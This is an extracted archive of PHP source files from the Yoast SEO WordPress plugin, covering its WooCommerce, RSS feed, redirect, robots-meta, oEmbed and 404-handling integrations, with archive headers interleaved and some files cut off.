foreach ( $taxonomies as $taxonomy_name => $taxonomy ) { if ( \is_string( $taxonomy ) ) { // If attachment, see https://core.trac.wordpress.org/ticket/37368 . $taxonomy_name = $taxonomy; $taxonomy = \get_taxonomy( $taxonomy_name ); } if ( $taxonomy->_builtin && $taxonomy->public ) { continue; } $custom_replace_vars[ $taxonomy_name ] = [ 'name' => $taxonomy->name, 'description' => $taxonomy->description, ]; } return $custom_replace_vars; } /** * Gets the custom replace variables for custom fields. * * @param WP_Post $post The post to check for custom fields. * * @return array Array containing all the replacement variables. */ protected function get_custom_fields_replace_vars( $post ) { $custom_replace_vars = []; // If no post object is passed, return the empty custom_replace_vars array. if ( ! \is_object( $post ) ) { return $custom_replace_vars; } $custom_fields = \get_post_custom( $post->ID ); // Simply concatenate all fields containing replace vars so we can handle them all with a single regex find. $replace_vars_fields = \implode( ' ', [ \YoastSEO()->meta->for_post( $post->ID )->presentation->title, \YoastSEO()->meta->for_post( $post->ID )->presentation->meta_description, ], ); \preg_match_all( '/%%cf_([A-Za-z0-9_]+)%%/', $replace_vars_fields, $matches ); $fields_to_include = $matches[1]; foreach ( $custom_fields as $custom_field_name => $custom_field ) { // Skip private custom fields. if ( \substr( $custom_field_name, 0, 1 ) === '_' ) { continue; } // Skip custom fields that are not used, new ones will be fetched dynamically. if ( ! \in_array( $custom_field_name, $fields_to_include, true ) ) { continue; } // Skip custom field values that are serialized. if ( \is_serialized( $custom_field[0] ) ) { continue; } $custom_replace_vars[ $custom_field_name ] = $custom_field[0]; } return $custom_replace_vars; } /** * Determines the scope based on the post type. * This can be used by the replacevar plugin to determine if a replacement needs to be executed. * * @return string String describing the current scope. */ protected function determine_scope() { if ( $this->get_metabox_post()->post_type === 'page' ) { return 'page'; } return 'post'; } /** * Determines whether or not the current post type has registered taxonomies. * * @return bool Whether the current post type has taxonomies. */ protected function current_post_type_has_taxonomies() { $post_taxonomies = \get_object_taxonomies( $this->get_metabox_post()->post_type ); return ! empty( $post_taxonomies ); } /** * Returns an array with shortcode tags for all registered shortcodes. * * @return array */ protected function get_valid_shortcode_tags() { $shortcode_tags = []; foreach ( $GLOBALS['shortcode_tags'] as $tag => $description ) { $shortcode_tags[] = $tag; } return $shortcode_tags; } } integrations/third-party/woocommerce.php000064400000022703152076254740014571 0ustar00options = $options; $this->replace_vars = $replace_vars; $this->context_memoizer = $context_memoizer; $this->repository = $repository; $this->pagination_helper = $pagination_helper; $this->woocommerce_helper = $woocommerce_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_filter( 'wpseo_frontend_page_type_simple_page_id', [ $this, 'get_page_id' ] ); \add_filter( 'wpseo_breadcrumb_indexables', [ $this, 'add_shop_to_breadcrumbs' ] ); \add_filter( 'wpseo_title', [ $this, 'title' ], 10, 2 ); \add_filter( 'wpseo_metadesc', [ $this, 'description' ], 10, 2 ); \add_filter( 'wpseo_canonical', [ $this, 'canonical' ], 10, 2 ); \add_filter( 'wpseo_adjacent_rel_url', [ $this, 'adjacent_rel_url' ], 10, 3 ); } /** * Returns the correct canonical when WooCommerce is enabled. * * @param string $canonical The current canonical. * @param Indexable_Presentation|null $presentation The indexable presentation. * * @return string The correct canonical. */ public function canonical( $canonical, $presentation = null ) { if ( ! $this->woocommerce_helper->is_shop_page() ) { return $canonical; } $url = $this->get_shop_paginated_link( 'curr', $presentation ); if ( $url ) { return $url; } return $canonical; } /** * Returns correct adjacent pages when WooCommerce is enabled. * * @param string $link The current link. * @param string $rel Link relationship, prev or next. * @param Indexable_Presentation|null $presentation The indexable presentation. * * @return string The correct link. */ public function adjacent_rel_url( $link, $rel, $presentation = null ) { if ( ! $this->woocommerce_helper->is_shop_page() ) { return $link; } if ( $rel !== 'next' && $rel !== 'prev' ) { return $link; } $url = $this->get_shop_paginated_link( $rel, $presentation ); if ( $url ) { return $url; } return $link; } /** * Adds a breadcrumb for the shop page. * * @param Indexable[] $indexables The array with indexables. * * @return Indexable[] The indexables to be shown in the breadcrumbs, with the shop page added. */ public function add_shop_to_breadcrumbs( $indexables ) { $shop_page_id = $this->woocommerce_helper->get_shop_page_id(); if ( ! \is_int( $shop_page_id ) || $shop_page_id < 1 ) { return $indexables; } foreach ( $indexables as $index => $indexable ) { if ( $indexable->object_type === 'post-type-archive' && $indexable->object_sub_type === 'product' ) { $shop_page_indexable = $this->repository->find_by_id_and_type( $shop_page_id, 'post' ); if ( \is_a( $shop_page_indexable, Indexable::class ) ) { $indexables[ $index ] = $shop_page_indexable; } } } return $indexables; } /** * Returns the ID of the WooCommerce shop page when the currently opened page is the shop page. * * @param int $page_id The page id. * * @return int The Page ID of the shop. */ public function get_page_id( $page_id ) { if ( ! $this->woocommerce_helper->is_shop_page() ) { return $page_id; } return $this->woocommerce_helper->get_shop_page_id(); } /** * Handles the title. * * @param string $title The title. * @param Indexable_Presentation|null $presentation The indexable presentation. * * @return string The title to use. */ public function title( $title, $presentation = null ) { $presentation = $this->ensure_presentation( $presentation ); if ( $presentation->model->title ) { return $title; } if ( ! $this->woocommerce_helper->is_shop_page() ) { return $title; } if ( ! \is_archive() ) { return $title; } $shop_page_id = $this->woocommerce_helper->get_shop_page_id(); if ( $shop_page_id < 1 ) { return $title; } $product_template_title = $this->get_product_template( 'title-product', $shop_page_id ); if ( $product_template_title ) { return $product_template_title; } return $title; } /** * Handles the meta description. * * @param string $description The title. * @param Indexable_Presentation|null $presentation The indexable presentation. * * @return string The description to use. */ public function description( $description, $presentation = null ) { $presentation = $this->ensure_presentation( $presentation ); if ( $presentation->model->description ) { return $description; } if ( ! $this->woocommerce_helper->is_shop_page() ) { return $description; } if ( ! \is_archive() ) { return $description; } $shop_page_id = $this->woocommerce_helper->get_shop_page_id(); if ( $shop_page_id < 1 ) { return $description; } $product_template_description = $this->get_product_template( 'metadesc-product', $shop_page_id ); if ( $product_template_description ) { return $product_template_description; } return $description; } /** * Uses template for the given option name and replace the replacement variables on it. * * @param string $option_name The option name to get the template for. * @param string $shop_page_id The page id to retrieve template for. * * @return string The rendered value. */ protected function get_product_template( $option_name, $shop_page_id ) { $template = $this->options->get( $option_name ); $page = \get_post( $shop_page_id ); return $this->replace_vars->replace( $template, $page ); } /** * Get paginated link for shop page. * * @param string $rel Link relationship, prev or next or curr. * @param Indexable_Presentation|null $presentation The indexable presentation. * * @return string|null The link. */ protected function get_shop_paginated_link( $rel, $presentation = null ) { $presentation = $this->ensure_presentation( $presentation ); $permalink = $presentation->permalink; if ( ! $permalink ) { return null; } $current_page = \max( 1, $this->pagination_helper->get_current_archive_page_number() ); if ( $rel === 'curr' && $current_page === 1 ) { return $permalink; } if ( $rel === 'curr' && $current_page > 1 ) { return $this->pagination_helper->get_paginated_url( $permalink, $current_page ); } if ( $rel === 'prev' && $current_page === 2 ) { return $permalink; } if ( $rel === 'prev' && $current_page > 2 ) { return $this->pagination_helper->get_paginated_url( $permalink, ( $current_page - 1 ) ); } if ( $rel === 'next' && $current_page < $this->pagination_helper->get_number_of_archive_pages() ) { return $this->pagination_helper->get_paginated_url( $permalink, ( $current_page + 1 ) ); } return null; } /** * Ensures a presentation is available. * * @param Indexable_Presentation $presentation The indexable presentation. * * @return Indexable_Presentation The presentation, taken from the current page if the input was invalid. */ protected function ensure_presentation( $presentation ) { if ( \is_a( $presentation, Indexable_Presentation::class ) ) { return $presentation; } $context = $this->context_memoizer->for_current_page(); return $context->presentation; } } integrations/third-party/exclude-woocommerce-post-types.php000064400000001605152076254740020343 0ustar00clear_import_statuses(); } /** * Clears the persistent import statuses. * * @return void */ public function clear_import_statuses() { $yoast_options = \get_site_option( 'wpseo' ); if ( isset( $yoast_options['importing_completed'] ) ) { $yoast_options['importing_completed'] = []; \update_site_option( 'wpseo', $yoast_options ); } } } integrations/feature-flag-integration.php000064400000005672152076254740014674 0ustar00asset_manager = $asset_manager; $this->feature_flags = $feature_flags; } /** * Returns the conditionals based on which this loadable should be active. * * @return string[] The conditionals based on which this loadable should be active. */ public static function get_conditionals() { return [ Admin_Conditional::class ]; } /** * Initializes the integration. * * @return void */ public function register_hooks() { \add_action( 'admin_init', [ $this, 'add_feature_flags' ] ); } /** * Gathers all the feature flags and injects them into the JavaScript. * * @return void */ public function add_feature_flags() { $enabled_features = $this->get_enabled_features(); // Localize under both names for BC. $this->asset_manager->localize_script( 'feature-flag-package', 'wpseoFeatureFlags', $enabled_features ); $this->asset_manager->localize_script( 'feature-flag-package', 'wpseoFeaturesL10n', $enabled_features ); } /** * Returns an array of all enabled feature flags. * * @return string[] The array of enabled features. */ public function get_enabled_features() { $enabled_features = []; foreach ( $this->feature_flags as $feature_flag ) { if ( $feature_flag->is_met() ) { $enabled_features[] = $feature_flag->get_feature_name(); } } return $this->filter_enabled_features( $enabled_features ); } /** * Runs the list of enabled feature flags through a filter. * * @param string[] $enabled_features The list of currently enabled feature flags. * * @return string[] The (possibly adapted) list of enabled features. */ protected function filter_enabled_features( $enabled_features ) { /** * Filters the list of currently enabled feature flags. * * @param string[] $enabled_features The current list of enabled feature flags. */ $filtered_enabled_features = \apply_filters( 'wpseo_enable_feature', $enabled_features ); if ( ! \is_array( $filtered_enabled_features ) ) { $filtered_enabled_features = $enabled_features; } return $filtered_enabled_features; } } integrations/front-end/rss-footer-embed.php000064400000012337152076254740015056 0ustar00options = $options; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_filter( 'the_content_feed', [ $this, 'embed_rssfooter' ] ); \add_filter( 'the_excerpt_rss', [ $this, 'embed_rssfooter_excerpt' ] ); } /** * Adds the RSS footer (or header) to the full RSS feed item. * * @param string $content Feed item content. * * @return string */ public function embed_rssfooter( $content ) { if ( ! $this->include_rss_footer( 'full' ) ) { return $content; } return $this->embed_rss( $content ); } /** * Adds the RSS footer (or header) to the excerpt RSS feed item. * * @param string $content Feed item excerpt. * * @return string */ public function embed_rssfooter_excerpt( $content ) { if ( ! $this->include_rss_footer( 'excerpt' ) ) { return $content; } return $this->embed_rss( \wpautop( $content ) ); } /** * Checks if the RSS footer should included. * * @param string $context The context of the RSS content. * * @return bool Whether or not the RSS footer should included. */ protected function include_rss_footer( $context ) { if ( ! \is_feed() ) { return false; } /** * Filter: 'wpseo_include_rss_footer' - Allow the RSS footer to be dynamically shown/hidden. * * @param bool $show_embed Indicates if the RSS footer should be shown or not. * @param string $context The context of the RSS content - 'full' or 'excerpt'. */ if ( ! \apply_filters( 'wpseo_include_rss_footer', true, $context ) ) { return false; } return $this->is_configured(); } /** * Checks if the RSS feed fields are configured. * * @return bool True when one of the fields has a value. */ protected function is_configured() { return ( $this->options->get( 'rssbefore', '' ) !== '' || $this->options->get( 'rssafter', '' ) ); } /** * Adds the RSS footer and/or header to an RSS feed item. * * @param string $content Feed item content. * * @return string The content to add. */ protected function embed_rss( $content ) { $before = $this->rss_replace_vars( $this->options->get( 'rssbefore', '' ) ); $after = $this->rss_replace_vars( $this->options->get( 'rssafter', '' ) ); $content = $before . $content . $after; return $content; } /** * Replaces the possible RSS variables with their actual values. * * @param string $content The RSS content that should have the variables replaced. * * @return string */ protected function rss_replace_vars( $content ) { if ( $content === '' ) { return $content; } $replace_vars = $this->get_replace_vars( $this->get_link_template(), \get_post() ); $content = \stripslashes( \trim( $content ) ); $content = \str_ireplace( \array_keys( $replace_vars ), \array_values( $replace_vars ), $content ); return \wpautop( $content ); } /** * Retrieves the replacement variables. * * @codeCoverageIgnore It just contains too much WordPress functions. * * @param string $link_template The link template. * @param mixed $post The post to use. * * @return array The replacement variables. */ protected function get_replace_vars( $link_template, $post ) { $author_link = ''; if ( \is_object( $post ) ) { $author_link = \sprintf( $link_template, \esc_url( \get_author_posts_url( $post->post_author ) ), \esc_html( \get_the_author() ) ); } return [ '%%AUTHORLINK%%' => $author_link, '%%POSTLINK%%' => \sprintf( $link_template, \esc_url( \get_permalink() ), \esc_html( \get_the_title() ) ), '%%BLOGLINK%%' => \sprintf( $link_template, \esc_url( \get_bloginfo( 'url' ) ), \esc_html( \get_bloginfo( 'name' ) ) ), '%%BLOGDESCLINK%%' => \sprintf( $link_template, \esc_url( \get_bloginfo( 'url' ) ), \esc_html( \get_bloginfo( 'name' ) ) . ' - ' . \esc_html( \get_bloginfo( 'description' ) ) ), ]; } /** * Retrieves the link template. * * @return string The link template. */ protected function get_link_template() { /** * Filter: 'nofollow_rss_links' - Allow the developer to determine whether or not to follow the links in * the bits Yoast SEO adds to the RSS feed, defaults to false. * * @since 1.4.20 * * @param bool $unsigned Whether or not to follow the links in RSS feed, defaults to true. */ if ( \apply_filters( 'nofollow_rss_links', false ) ) { return '%2$s'; } return '%2$s'; } } integrations/front-end/comment-link-fixer.php000064400000007732152076254740015414 0ustar00redirect = $redirect; $this->robots = $robots; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { if ( $this->clean_reply_to_com() ) { \add_filter( 'comment_reply_link', [ $this, 'remove_reply_to_com' ] ); \add_action( 'template_redirect', [ $this, 'replytocom_redirect' ], 1 ); } // When users view a reply to a comment, this URL parameter is set. These should never be indexed separately. if ( $this->get_replytocom_parameter() !== null ) { \add_filter( 'wpseo_robots_array', [ $this->robots, 'set_robots_no_index' ] ); } } /** * Checks if the url contains the ?replytocom query parameter. * * @codeCoverageIgnore Wraps the filter input. * * @return string|null The value of replytocom or null if it does not exist. */ protected function get_replytocom_parameter() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['replytocom'] ) && \is_string( $_GET['replytocom'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return \sanitize_text_field( \wp_unslash( $_GET['replytocom'] ) ); } return null; } /** * Removes the ?replytocom variable from the link, replacing it with a #comment- anchor. * * @todo Should this function also allow for relative urls ? * * @param string $link The comment link as a string. * * @return string The modified link. */ public function remove_reply_to_com( $link ) { return \preg_replace( '`href=(["\'])(?:.*(?:\?|&|&)replytocom=(\d+)#respond)`', 'href=$1#comment-$2', $link ); } /** * Redirects out the ?replytocom variables. * * @return bool True when redirect has been done. */ public function replytocom_redirect() { if ( isset( $_GET['replytocom'] ) && \is_singular() ) { $url = \get_permalink( $GLOBALS['post']->ID ); $hash = \sanitize_text_field( \wp_unslash( $_GET['replytocom'] ) ); $query_string = ''; if ( isset( $_SERVER['QUERY_STRING'] ) ) { $query_string = \remove_query_arg( 'replytocom', \sanitize_text_field( \wp_unslash( $_SERVER['QUERY_STRING'] ) ) ); } if ( ! empty( $query_string ) ) { $url .= '?' . $query_string; } $url .= '#comment-' . $hash; $this->redirect->do_safe_redirect( $url, 301 ); return true; } return false; } /** * Checks whether we can allow the feature that removes ?replytocom query parameters. * * @codeCoverageIgnore It just wraps a call to a filter. * * @return bool True to remove, false not to remove. */ private function clean_reply_to_com() { /** * Filter: 'wpseo_remove_reply_to_com' - Allow disabling the feature that removes ?replytocom query parameters. * * @param bool $return True to remove, false not to remove. */ return (bool) \apply_filters( 'wpseo_remove_reply_to_com', true ); } } integrations/front-end/feed-improvements.php000064400000011316152076254750015327 0ustar00options = $options; $this->meta = $meta; } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Front_End_Conditional::class ]; } /** * Registers hooks to WordPress. * * @return void */ public function register_hooks() { \add_filter( 'get_bloginfo_rss', [ $this, 'filter_bloginfo_rss' ], 10, 2 ); \add_filter( 'document_title_separator', [ $this, 'filter_document_title_separator' ] ); \add_action( 'do_feed_rss', [ $this, 'handle_rss_feed' ], 9 ); \add_action( 'do_feed_rss2', [ $this, 'send_canonical_header' ], 9 ); \add_action( 'do_feed_rss2', [ $this, 'add_robots_headers' ], 9 ); } /** * Filter `bloginfo_rss` output to give the URL for what's being shown instead of just always the homepage. * * @param string $show The output so far. * @param string $what What is being shown. * * @return string */ public function filter_bloginfo_rss( $show, $what ) { if ( $what === 'url' ) { return $this->get_url_for_queried_object( $show ); } return $show; } /** * Makes sure send canonical header always runs, because this RSS hook does not support the for_comments parameter * * @return void */ public function handle_rss_feed() { $this->send_canonical_header( false ); } /** * Adds a canonical link header to the main canonical URL for the requested feed object. If it is not a comment * feed. * * @param bool $for_comments If the RRS feed is meant for a comment feed. * * @return void */ public function send_canonical_header( $for_comments ) { if ( $for_comments || \headers_sent() ) { return; } $queried_object = \get_queried_object(); // Don't call get_class with null. This gives a warning. $class = ( $queried_object !== null ) ? \get_class( $queried_object ) : null; $url = $this->get_url_for_queried_object( $this->meta->for_home_page()->canonical ); if ( ( ! empty( $url ) && $url !== $this->meta->for_home_page()->canonical ) || $class === null ) { \header( \sprintf( 'Link: <%s>; rel="canonical"', $url ), false ); } } /** * Adds noindex, follow tag for comment feeds. * * @param bool $for_comments If the RSS feed is meant for a comment feed. * * @return void */ public function add_robots_headers( $for_comments ) { if ( $for_comments && ! \headers_sent() ) { \header( 'X-Robots-Tag: noindex, follow', true ); } } /** * Makes sure the title separator set in Yoast SEO is used for all feeds. * * @param string $separator The separator from WordPress. * * @return string The separator from Yoast SEO's settings. */ public function filter_document_title_separator( $separator ) { return \html_entity_decode( $this->options->get_title_separator() ); } /** * Determines the main URL for the queried object. * * @param string $url The URL determined so far. * * @return string The canonical URL for the queried object. */ protected function get_url_for_queried_object( $url = '' ) { $queried_object = \get_queried_object(); // Don't call get_class with null. This gives a warning. $class = ( $queried_object !== null ) ? \get_class( $queried_object ) : null; $meta = false; switch ( $class ) { // Post type archive feeds. case 'WP_Post_Type': $meta = $this->meta->for_post_type_archive( $queried_object->name ); break; // Post comment feeds. case 'WP_Post': $meta = $this->meta->for_post( $queried_object->ID ); break; // Term feeds. case 'WP_Term': $meta = $this->meta->for_term( $queried_object->term_id ); break; // Author feeds. case 'WP_User': $meta = $this->meta->for_author( $queried_object->ID ); break; // This would be NULL on the home page and on date archive feeds. case null: $meta = $this->meta->for_home_page(); break; default: break; } if ( $meta ) { return $meta->canonical; } return $url; } } integrations/front-end/indexing-controls.php000064400000005253152076254750015347 0ustar00robots = $robots; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @codeCoverageIgnore * * @return void */ public function register_hooks() { // The option `blog_public` is set in Settings > Reading > Search Engine Visibility. if ( (string) \get_option( 'blog_public' ) === '0' ) { \add_filter( 'wpseo_robots_array', [ $this->robots, 'set_robots_no_index' ] ); } \add_action( 'template_redirect', [ $this, 'noindex_robots' ] ); \add_filter( 'loginout', [ $this, 'nofollow_link' ] ); \add_filter( 'register', [ $this, 'nofollow_link' ] ); // Remove actions that we will handle through our wpseo_head call, and probably change the output of. \remove_action( 'wp_head', 'rel_canonical' ); \remove_action( 'wp_head', 'index_rel_link' ); \remove_action( 'wp_head', 'start_post_rel_link' ); \remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head' ); \remove_action( 'wp_head', 'noindex', 1 ); } /** * Sends a Robots HTTP header preventing URL from being indexed in the search results while allowing search engines * to follow the links in the object at the URL. * * @return bool Boolean indicating whether the noindex header was sent. */ public function noindex_robots() { if ( ! \is_robots() ) { return false; } return $this->set_robots_header(); } /** * Adds rel="nofollow" to a link, only used for login / registration links. * * @param string $input The link element as a string. * * @return string */ public function nofollow_link( $input ) { return \str_replace( 'options = $options; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { if ( $this->options->get( 'opengraph' ) === true ) { \add_action( 'wpseo_head', [ $this, 'call_wpseo_opengraph' ], 30 ); } if ( $this->options->get( 'twitter' ) === true && \apply_filters( 'wpseo_output_twitter_card', true ) !== false ) { \add_action( 'wpseo_head', [ $this, 'call_wpseo_twitter' ], 40 ); } } /** * Calls the old wpseo_opengraph action. * * @return void */ public function call_wpseo_opengraph() { \do_action_deprecated( 'wpseo_opengraph', [], '14.0', 'wpseo_frontend_presenters' ); } /** * Calls the old wpseo_twitter action. * * @return void */ public function call_wpseo_twitter() { \do_action_deprecated( 'wpseo_twitter', [], '14.0', 'wpseo_frontend_presenters' ); } } integrations/front-end/open-graph-oembed.php000064400000006434152076254750015174 0ustar00meta = $meta; } /** * Callback function to pass to the oEmbed's response data that will enable * support for using the image and title set by the WordPress SEO plugin's fields. This * address the concern where some social channels/subscribed use oEmebed data over Open Graph data * if both are present. * * @link https://developer.wordpress.org/reference/hooks/oembed_response_data/ for hook info. * * @param array $data The oEmbed data. * @param WP_Post $post The current Post object. * * @return array An array of oEmbed data with modified values where appropriate. */ public function set_oembed_data( $data, $post ) { // Data to be returned. $this->data = $data; $this->post_id = $post->ID; $this->post_meta = $this->meta->for_post( $this->post_id ); if ( ! empty( $this->post_meta ) ) { $this->set_title(); $this->set_description(); $this->set_image(); } return $this->data; } /** * Sets the OpenGraph title if configured. * * @return void */ protected function set_title() { $opengraph_title = $this->post_meta->open_graph_title; if ( ! empty( $opengraph_title ) ) { $this->data['title'] = $opengraph_title; } } /** * Sets the OpenGraph description if configured. * * @return void */ protected function set_description() { $opengraph_description = $this->post_meta->open_graph_description; if ( ! empty( $opengraph_description ) ) { $this->data['description'] = $opengraph_description; } } /** * Sets the image if it has been configured. * * @return void */ protected function set_image() { $images = $this->post_meta->open_graph_images; if ( ! \is_array( $images ) ) { return; } $image = \reset( $images ); if ( empty( $image ) || ! isset( $image['url'] ) ) { return; } $this->data['thumbnail_url'] = $image['url']; if ( isset( $image['width'] ) ) { $this->data['thumbnail_width'] = $image['width']; } if ( isset( $image['height'] ) ) { $this->data['thumbnail_height'] = $image['height']; } } } integrations/front-end/wp-robots-integration.php000064400000012743152076254750016160 0ustar00context_memoizer = $context_memoizer; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { /** * Allow control of the `wp_robots` filter by prioritizing our hook 10 less than max. * Use the `wpseo_robots` filter to filter the Yoast robots output, instead of WordPress core. */ \add_filter( 'wp_robots', [ $this, 'add_robots' ], ( \PHP_INT_MAX - 10 ) ); } /** * Returns the conditionals based on which this loadable should be active. * * @return array The conditionals. */ public static function get_conditionals() { return [ Front_End_Conditional::class, WP_Robots_Conditional::class, ]; } /** * Adds our robots tag value to the WordPress robots tag output. * * @param array $robots The current robots data. * * @return array The robots data. */ public function add_robots( $robots ) { if ( ! \is_array( $robots ) ) { return $this->get_robots_value(); } $merged_robots = \array_merge( $robots, $this->get_robots_value() ); $filtered_robots = $this->enforce_robots_congruence( $merged_robots ); $sorted_robots = $this->sort_robots( $filtered_robots ); // Filter all falsy-null robot values. return \array_filter( $sorted_robots ); } /** * Retrieves the robots key-value pairs. * * @return array The robots key-value pairs. */ protected function get_robots_value() { $context = $this->context_memoizer->for_current_page(); $robots_presenter = new Robots_Presenter(); $robots_presenter->presentation = $context->presentation; return $this->format_robots( $robots_presenter->get() ); } /** * Formats our robots fields, to match the pattern WordPress is using. * * Our format: `[ 'index' => 'noindex', 'max-image-preview' => 'max-image-preview:large', ... ]` * WordPress format: `[ 'noindex' => true, 'max-image-preview' => 'large', ... ]` * * @param array $robots Our robots value. * * @return array The formatted robots. */ protected function format_robots( $robots ) { foreach ( $robots as $key => $value ) { // When the entry represents for example: max-image-preview:large. $colon_position = \strpos( $value, ':' ); if ( $colon_position !== false ) { $robots[ $key ] = \substr( $value, ( $colon_position + 1 ) ); continue; } // When index => noindex, we want a separate noindex as entry in array. if ( \strpos( $value, 'no' ) === 0 ) { $robots[ $key ] = false; $robots[ $value ] = true; continue; } // When the key is equal to the value, just make its value a boolean. if ( $key === $value ) { $robots[ $key ] = true; } } return $robots; } /** * Ensures all other possible robots values are congruent with nofollow and or noindex. * * WordPress might add some robot values again. * When the page is set to noindex we want to filter out these values. * * @param array $robots The robots. * * @return array The filtered robots. */ protected function enforce_robots_congruence( $robots ) { if ( ! empty( $robots['nofollow'] ) ) { $robots['follow'] = null; } if ( ! empty( $robots['noarchive'] ) ) { $robots['archive'] = null; } if ( ! empty( $robots['noimageindex'] ) ) { $robots['imageindex'] = null; // `max-image-preview` should set be to `none` when `noimageindex` is present. // Using `isset` rather than `! empty` here so that in the rare case of `max-image-preview` // being equal to an empty string due to filtering, its value would still be set to `none`. if ( isset( $robots['max-image-preview'] ) ) { $robots['max-image-preview'] = 'none'; } } if ( ! empty( $robots['nosnippet'] ) ) { $robots['snippet'] = null; } if ( ! empty( $robots['noindex'] ) ) { $robots['index'] = null; $robots['imageindex'] = null; $robots['noimageindex'] = null; $robots['archive'] = null; $robots['noarchive'] = null; $robots['snippet'] = null; $robots['nosnippet'] = null; $robots['max-snippet'] = null; $robots['max-image-preview'] = null; $robots['max-video-preview'] = null; } return $robots; } /** * Sorts the robots array. * * @param array $robots The robots array. * * @return array The sorted robots array. */ protected function sort_robots( $robots ) { \uksort( $robots, static function ( $a, $b ) { $order = [ 'index' => 0, 'noindex' => 1, 'follow' => 2, 'nofollow' => 3, ]; $ai = ( $order[ $a ] ?? 4 ); $bi = ( $order[ $b ] ?? 4 ); return ( $ai - $bi ); }, ); return $robots; } } integrations/front-end/redirects.php000064400000016040152076254750013661 0ustar00options = $options; $this->meta = $meta; $this->current_page = $current_page; $this->redirect = $redirect; $this->url = $url; } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Front_End_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'wp', [ $this, 'archive_redirect' ] ); \add_action( 'wp', [ $this, 'page_redirect' ], 99 ); \add_action( 'wp', [ $this, 'category_redirect' ] ); \add_action( 'template_redirect', [ $this, 'attachment_redirect' ], 1 ); \add_action( 'template_redirect', [ $this, 'disable_date_queries' ] ); } /** * Disable date queries, if they're disabled in Yoast SEO settings, to prevent indexing the wrong things. * * @return void */ public function disable_date_queries() { if ( $this->options->get( 'disable-date', false ) ) { $exploded_url = \explode( '?', $this->url->recreate_current_url(), 2 ); list( $base_url, $query_string ) = \array_pad( $exploded_url, 2, '' ); \parse_str( $query_string, $query_vars ); foreach ( $this->date_query_variables as $variable ) { if ( \in_array( $variable, \array_keys( $query_vars ), true ) ) { $this->do_date_redirect( $query_vars, $base_url ); } } } } /** * When certain archives are disabled, this redirects those to the homepage. * * @return void */ public function archive_redirect() { if ( $this->need_archive_redirect() ) { $this->redirect->do_safe_redirect( \get_bloginfo( 'url' ), 301 ); } } /** * Based on the redirect meta value, this function determines whether it should redirect the current post / page. * * @return void */ public function page_redirect() { if ( ! $this->current_page->is_simple_page() ) { return; } $post = \get_post(); if ( ! \is_object( $post ) ) { return; } $redirect = $this->meta->get_value( 'redirect', $post->ID ); if ( $redirect === '' ) { return; } $this->redirect->do_safe_redirect( $redirect, 301 ); } /** * If the option to disable attachment URLs is checked, this performs the redirect to the attachment. * * @return void */ public function attachment_redirect() { if ( ! $this->current_page->is_attachment() ) { return; } if ( $this->options->get( 'disable-attachment', false ) === false ) { return; } $url = $this->get_attachment_url(); if ( empty( $url ) ) { return; } $this->redirect->do_unsafe_redirect( $url, 301 ); } /** * Checks if certain archive pages are disabled to determine if a archive redirect is needed. * * @codeCoverageIgnore * * @return bool Whether or not to redirect an archive page. */ protected function need_archive_redirect() { if ( $this->options->get( 'disable-date', false ) && $this->current_page->is_date_archive() ) { return true; } if ( $this->options->get( 'disable-author', false ) && $this->current_page->is_author_archive() ) { return true; } if ( $this->options->get( 'disable-post_format', false ) && $this->current_page->is_post_format_archive() ) { return true; } return false; } /** * Retrieves the attachment url for the current page. * * @codeCoverageIgnore It wraps WordPress functions. * * @return string The attachment url. */ protected function get_attachment_url() { /** * Allows the developer to change the target redirection URL for attachments. * * @since 7.5.3 * * @param string $attachment_url The attachment URL for the queried object. * @param object $queried_object The queried object. */ return \apply_filters( 'wpseo_attachment_redirect_url', \wp_get_attachment_url( \get_queried_object_id() ), \get_queried_object(), ); } /** * Redirects away query variables that shouldn't work. * * @param array $query_vars The query variables in the current URL. * @param string $base_url The base URL without query string. * * @return void */ private function do_date_redirect( $query_vars, $base_url ) { foreach ( $this->date_query_variables as $variable ) { unset( $query_vars[ $variable ] ); } $url = $base_url; if ( \count( $query_vars ) > 0 ) { $url .= '?' . \http_build_query( $query_vars ); } $this->redirect->do_safe_redirect( $url, 301 ); } /** * Strips `cat=-1` from the URL and redirects to the resulting URL. * * @return void */ public function category_redirect() { /** * Allows the developer to keep cat=-1 GET parameters * * @since 19.9 * * @param bool $remove_cat_parameter Whether to remove the `cat=-1` GET parameter. Default true. */ $should_remove_parameter = \apply_filters( 'wpseo_remove_cat_parameter', true ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved. if ( $should_remove_parameter && isset( $_GET['cat'] ) && $_GET['cat'] === '-1' ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved. unset( $_GET['cat'] ); if ( isset( $_SERVER['REQUEST_URI'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- This is just a replace and the data is never saved. $_SERVER['REQUEST_URI'] = \remove_query_arg( 'cat' ); } $this->redirect->do_safe_redirect( $this->url->recreate_current_url(), 301, 'Stripping cat=-1 from the URL' ); } } } integrations/front-end/handle-404.php000064400000005201152076254750013432 0ustar00query_wrapper = $query_wrapper; } /** * Handles the 404 status code. * * @param bool $handled Whether we've handled the request. * * @return bool True if it's 404. */ public function handle_404( $handled ) { if ( ! $this->is_feed_404() ) { return $handled; } $this->set_404(); $this->set_headers(); \add_filter( 'old_slug_redirect_url', '__return_false' ); \add_filter( 'redirect_canonical', '__return_false' ); return true; } /** * If there are no posts in a feed, make it 404 instead of sending an empty RSS feed. * * @return bool True if it's 404. */ protected function is_feed_404() { if ( ! \is_feed() ) { return false; } $wp_query = $this->query_wrapper->get_query(); // Don't 404 if the query contains post(s) or an object. if ( $wp_query->posts || $wp_query->get_queried_object() ) { return false; } // Don't 